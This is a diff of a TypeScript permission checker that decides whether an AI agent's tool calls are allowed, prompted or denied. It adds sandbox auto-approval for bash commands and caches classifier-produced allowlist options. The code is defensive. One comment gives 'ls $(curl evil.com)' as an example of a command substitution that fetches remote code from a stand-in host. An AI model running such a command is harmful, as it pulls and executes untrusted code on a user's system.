613
  workingDir,
@@ -1024,129 +632,128 @@ export async function check(
1024
632
  policyContext,
1025
633
  );
1026
634
 
1027
- // Deny rules apply at ALL risk levels including proxied network mode.
1028
- // Evaluate them first so hard blocks are never downgraded to a prompt.
1029
- if (matchedRule && matchedRule.decision === "deny") {
1030
- return {
1031
- decision: "deny",
1032
- reason: `Blocked by deny rule: ${matchedRule.pattern}`,
1033
- matchedRule,
1034
- };
1035
- }
1036
-
1037
- if (matchedRule) {
1038
- if (matchedRule.decision === "ask") {
1039
- // Ask rules always prompt — never auto-allow or auto-deny
1040
- return {
1041
- decision: "prompt",
1042
- reason: `Matched ask rule: ${matchedRule.pattern}`,
1043
- matchedRule,
1044
- };
1045
- }
1046
-
1047
- // Allow rule: auto-allow for non-High risk
1048
- if (risk !== RiskLevel.High) {
1049
- return {
1050
- decision: "allow",
1051
- reason: `Matched trust rule: ${matchedRule.pattern}`,
1052
- matchedRule,
1053
- };
1054
- }
1055
- // High risk with allow rule that explicitly permits high-risk → auto-allow
1056
- if (matchedRule.allowHighRisk === true) {
1057
- return {
1058
- decision: "allow",
1059
- reason: `Matched high-risk trust rule: ${matchedRule.pattern}`,
1060
- matchedRule,
1061
- };
1062
- }
1063
- // High risk with allow rule (without allowHighRisk) → fall through to prompt
1064
- }
1065
-
1066
- // No matching rule (or High risk with allow rule) → risk-based fallback
1067
-
1068
- // Third-party skill-origin tools default to prompting when no trust rule
1069
- // matches, regardless of risk level. Bundled skill tools are first-party
1070
- // and trusted, so they fall through to the normal risk-based policy.
1071
- // When manifestOverride is present, the tool comes from a skill manifest
1072
- // but isn't registered treat it as a third-party skill tool.
1073
- if (!matchedRule) {
1074
- const tool = getTool(toolName);
1075
- if (tool?.origin === "skill" && !tool.ownerSkillBundled) {
1076
- return {
1077
- decision: "prompt",
1078
- reason: "Skill tool: requires approval by default",
1079
- };
1080
- }
1081
- if (!tool && manifestOverride) {
1082
- return {
1083
- decision: "prompt",
1084
- reason: "Skill tool: requires approval by default",
1085
- };
1086
- }
1087
- }
1088
-
1089
- // In strict mode, every tool without an explicit matching rule must be
1090
- // prompted — there is no implicit auto-allow for any risk level.
1091
- // This explicitly covers skill_load: activating a skill can grant the
1092
- // agent new capabilities, so in strict mode users must approve each
1093
- // skill load via an exact-version or wildcard trust rule.
1094
- const permissionsMode = getConfig().permissions.mode;
1095
-
1096
- if (permissionsMode === "strict" && !matchedRule) {
1097
- return {
1098
- decision: "prompt",
1099
- reason: `Strict mode: no matching rule, requires approval`,
1100
- };
1101
- }
1102
-
1103
- // Workspace mode: auto-allow workspace-scoped operations that don't have
1104
- // an explicit rule, but only when risk is Low. Medium and High risk operations
1105
- // fall through to risk-based policy and always require approval.
1106
- if (
1107
- permissionsMode === "workspace" &&
1108
- !matchedRule &&
1109
- risk === RiskLevel.Low
1110
- ) {
1111
- // Outside a container, bash runs on the host — don't auto-allow
1112
- if (toolName === "bash" && !getIsContainerized()) {
1113
- // Fall through to risk-based policy below
1114
- } else if (isWorkspaceScopedInvocation(toolName, input, workingDir)) {
1115
- return {
1116
- decision: "allow",
1117
- reason: "Workspace mode: workspace-scoped operation auto-allowed",
1118
- };
1119
- }
635
+ // Resolve sandboxAutoApprove for bash commands all pipeline segments must be
636
+ // on the allowlist, and the command must not contain opaque constructs or
637
+ // dangerous patterns (e.g. `ls $(curl evil.com)` has an allowlisted program
638
+ // but a command substitution that could execute arbitrary code).
639
+ //
640
+ // For non-containerized environments, path resolution is applied: each
641
+ // segment's arguments are parsed via the command's argSchema, and all
642
+ // path arguments must resolve within the workspace root. Containerized
643
+ // environments skip path checks since the entire filesystem is the workspace.
644
+ let hasSandboxAutoApprove = false;
645
+ if (toolName === "bash" && shellParsed) {
646
+ const workspaceRoot = getWorkspaceDir();
647
+ const isContainerized = getIsContainerized();
648
+
649
+ hasSandboxAutoApprove =
650
+ shellParsed.segments.length > 0 &&
651
+ !shellParsed.hasOpaqueConstructs &&
652
+ shellParsed.dangerousPatterns.length === 0 &&
653
+ shellParsed.segments.every((seg) => {
654
+ const name = seg.program.split("/").pop() ?? seg.program;
655
+ const spec: CommandRiskSpec | undefined = Object.hasOwn(
656
+ DEFAULT_COMMAND_REGISTRY,
657
+ name,
658
+ )
659
+ ? DEFAULT_COMMAND_REGISTRY[
660
+ name as keyof typeof DEFAULT_COMMAND_REGISTRY
661
+ ]
662
+ : undefined;
663
+ if (!spec?.sandboxAutoApprove) return false;
664
+
665
+ // Containerized: entire fs is workspace, skip path checks
666
+ if (isContainerized) return true;
667
+
668
+ // Non-containerized: parse args and check all path args against workspace
669
+ const schema = spec.argSchema ?? {};
670
+ const parsed = parseArgs(seg.args, schema);
671
+
672
+ // If no path args, auto-approve (operating on cwd/stdin which is workspace)
673
+ if (parsed.pathArgs.length === 0) return true;
674
+
675
+ // All path args must resolve within workspace
676
+ return parsed.pathArgs.every((p) => {
677
+ // Handle ~ expansion: ~/ is current user's home, ~user/ is another
678
+ // user's home. Both resolve outside the workspace in practice.
679
+ // Treat any tilde-prefixed path as outside workspace unless it
680
+ // happens to resolve within it after expansion.
681
+ if (p === "~" || p.startsWith("~/")) {
682
+ const expanded =
683
+ p === "~" ? homedir() : join(homedir(), p.slice(2));
684
+ return isPathWithinWorkspaceRoot(expanded, workspaceRoot);
685
+ }
686
+ if (p.startsWith("~")) {
687
+ // ~root/, ~user/, etc. — resolve outside workspace
688
+ return false;
689
+ }
690
+ const resolved = p.startsWith("/") ? p : resolve(workingDir, p);
691
+ return isPathWithinWorkspaceRoot(resolved, workspaceRoot);
692
+ });
693
+ });
1120
694
  }
1121
695
 
1122
- // Auto-allow low-risk bundled skill tools even without explicit trust rules.
1123
- // These are first-party tools with a vetted risk declaration — applying the
1124
- // same policy as the per-tool default allow rules for browser tools, but
1125
- // generically so every new bundled skill benefits automatically.
1126
- // This block must come AFTER the strict mode check so that strict mode
1127
- // still prompts for bundled skill tools without explicit rules.
1128
- if (!matchedRule && risk === RiskLevel.Low) {
1129
- const tool = getTool(toolName);
1130
- if (tool?.origin === "skill" && tool.ownerSkillBundled) {
1131
- return {
1132
- decision: "allow",
1133
- reason: "Bundled skill tool: low risk, auto-allowed",
1134
- };
696
+ // Build approval context from local variables
697
+ const tool = getTool(toolName);
698
+ const config = getConfig();
699
+ const gatewayThreshold = await getAutoApproveThreshold(
700
+ policyContext?.conversationId,
701
+ policyContext?.executionContext,
702
+ );
703
+ const resolvedThreshold =
704
+ gatewayThreshold ??
705
+ resolveThreshold(
706
+ config.permissions.autoApproveUpTo,
707
+ policyContext?.executionContext,
708
+ );
709
+ const approvalContext: ApprovalContext = {
710
+ riskLevel: risk,
711
+ toolName,
712
+ matchedRule: matchedRule ?? undefined,
713
+ permissionsMode: config.permissions.mode,
714
+ isContainerized: getIsContainerized(),
715
+ isWorkspaceScoped:
716
+ risk === RiskLevel.Low
717
+ ? isWorkspaceScopedInvocation(toolName, input, workingDir)
718
+ : false,
719
+ toolOrigin:
720
+ tool?.origin === "skill" || tool?.origin === "plugin"
721
+ ? "skill"
722
+ : tool
723
+ ? "builtin"
724
+ : undefined,
725
+ isSkillBundled: tool?.ownerSkillBundled ?? false,
726
+ hasManifestOverride: !!manifestOverride,
727
+ autoApproveUpTo: resolvedThreshold,
728
+ isGatewayThreshold: gatewayThreshold != null,
729
+ hasSandboxAutoApprove,
730
+ };
731
+
732
+ // Delegate the allow/prompt/deny decision to the approval policy
733
+ const approvalDecision = defaultApprovalPolicy.evaluate(approvalContext);
734
+
735
+ // Enrich the reason with the classifier's explanation when available.
736
+ // For risk-based fallback decisions (prompt/deny from High/Medium risk),
737
+ // incorporate the classifier reason so the user sees *why* the command
738
+ // was classified at that level (e.g. "High risk (Recursive force delete): requires approval").
739
+ let enrichedReason = approvalDecision.reason;
740
+ if (riskReason && !approvalDecision.matchedRule) {
741
+ const riskLabelMatch = enrichedReason.match(
742
+ /^(High|Medium|Low|high|medium|low) risk(.*)/i,
743
+ );
744
+ if (riskLabelMatch) {
745
+ const capitalizedLabel =
746
+ riskLabelMatch[1].charAt(0).toUpperCase() +
747
+ riskLabelMatch[1].slice(1).toLowerCase();
748
+ enrichedReason = `${capitalizedLabel} risk (${riskReason})${riskLabelMatch[2]}`;
1135
749
  }
1136
750
  }
1137
751
 
1138
- if (risk === RiskLevel.High) {
1139
- return {
1140
- decision: "prompt",
1141
- reason: `High risk: always requires approval`,
1142
- };
1143
- }
1144
-
1145
- if (risk === RiskLevel.Low) {
1146
- return { decision: "allow", reason: "Low risk: auto-allowed" };
1147
- }
1148
-
1149
- return { decision: "prompt", reason: `${risk} risk: requires approval` };
752
+ return {
753
+ decision: approvalDecision.decision,
754
+ reason: enrichedReason,
755
+ matchedRule: approvalDecision.matchedRule,
756
+ };
1150
757
  }
1151
758
 
1152
759
  const TOOL_DISPLAY_NAMES: Record<string, string> = {
@@ -1157,7 +764,6 @@ const TOOL_DISPLAY_NAMES: Record<string, string> = {
1157
764
  host_file_write: "host file writes",
1158
765
  host_file_edit: "host file edits",
1159
766
  web_fetch: "URL fetches",
1160
- browser_navigate: "browser navigations",
1161
767
  network_request: "network requests",
1162
768
  };
1163
769
 
@@ -1366,7 +972,6 @@ const ALLOWLIST_STRATEGIES: Record<string, AllowlistStrategy> = {
1366
972
  host_file_write: fileAllowlistStrategy,
1367
973
  host_file_edit: fileAllowlistStrategy,
1368
974
  web_fetch: urlAllowlistStrategy,
1369
- browser_navigate: urlAllowlistStrategy,
1370
975
  network_request: urlAllowlistStrategy,
1371
976
  scaffold_managed_skill: managedSkillAllowlistStrategy,
1372
977
  delete_managed_skill: managedSkillAllowlistStrategy,
@@ -1380,6 +985,26 @@ export async function generateAllowlistOptions(
1380
985
  ): Promise<AllowlistOption[]> {
1381
986
  signal?.throwIfAborted();
1382
987
 
988
+ // When permission-controls-v3 is enabled, use classifier-produced options
989
+ // from the assessment cache (populated by BashRiskClassifier.classify()).
990
+ // When the flag is off, fall through to the legacy per-tool strategies
991
+ // (e.g. shellAllowlistStrategy for bash/host_bash) to avoid changing the
992
+ // allowlist pattern format for users who haven't opted in.
993
+ const config = getConfig();
994
+ if (isAssistantFeatureFlagEnabled("permission-controls-v3", config)) {
995
+ const aKey = assessmentCacheKey(toolName, input);
996
+ const cachedAssessment = assessmentCache.get(aKey);
997
+ if (
998
+ cachedAssessment?.allowlistOptions &&
999
+ cachedAssessment.allowlistOptions.length > 0
1000
+ ) {
1001
+ return cachedAssessment.allowlistOptions;
1002
+ }
1003
+ }
1004
+
1005
+ // Fall back to the per-tool strategy function. For bash/host_bash when the
1006
+ // flag is off, this uses shellAllowlistStrategy (action: key patterns).
1007
+ // For other tools, this is the only path.
1383
1008
  if (Object.hasOwn(ALLOWLIST_STRATEGIES, toolName)) {
1384
1009
  return ALLOWLIST_STRATEGIES[toolName](toolName, input);
1385
1010
  }
@@ -1387,6 +1012,18 @@ export async function generateAllowlistOptions(
1387
1012
  return [{ label: "*", description: "Everything", pattern: "*" }];
1388
1013
  }
1389
1014
 
1015
+ /**
1016
+ * Retrieve a cached RiskAssessment for a given tool invocation.
1017
+ * Returns `undefined` when no classifier-backed assessment exists
1018
+ * (e.g. MCP tools, unknown tools that fall through to registry defaults).
1019
+ */
1020
+ export function getCachedAssessment(
1021
+ toolName: string,
1022
+ input: Record<string, unknown>,
1023
+ ): RiskAssessment | undefined {
1024
+ return assessmentCache.get(assessmentCacheKey(toolName, input));
1025
+ }
1026
+
1390
1027
  // Directory-based scope only applies to filesystem and shell tools.
1391
1028
  // All other tools auto-use "everywhere" (the client handles this).
1392
1029
  export const SCOPE_AWARE_TOOLS = new Set([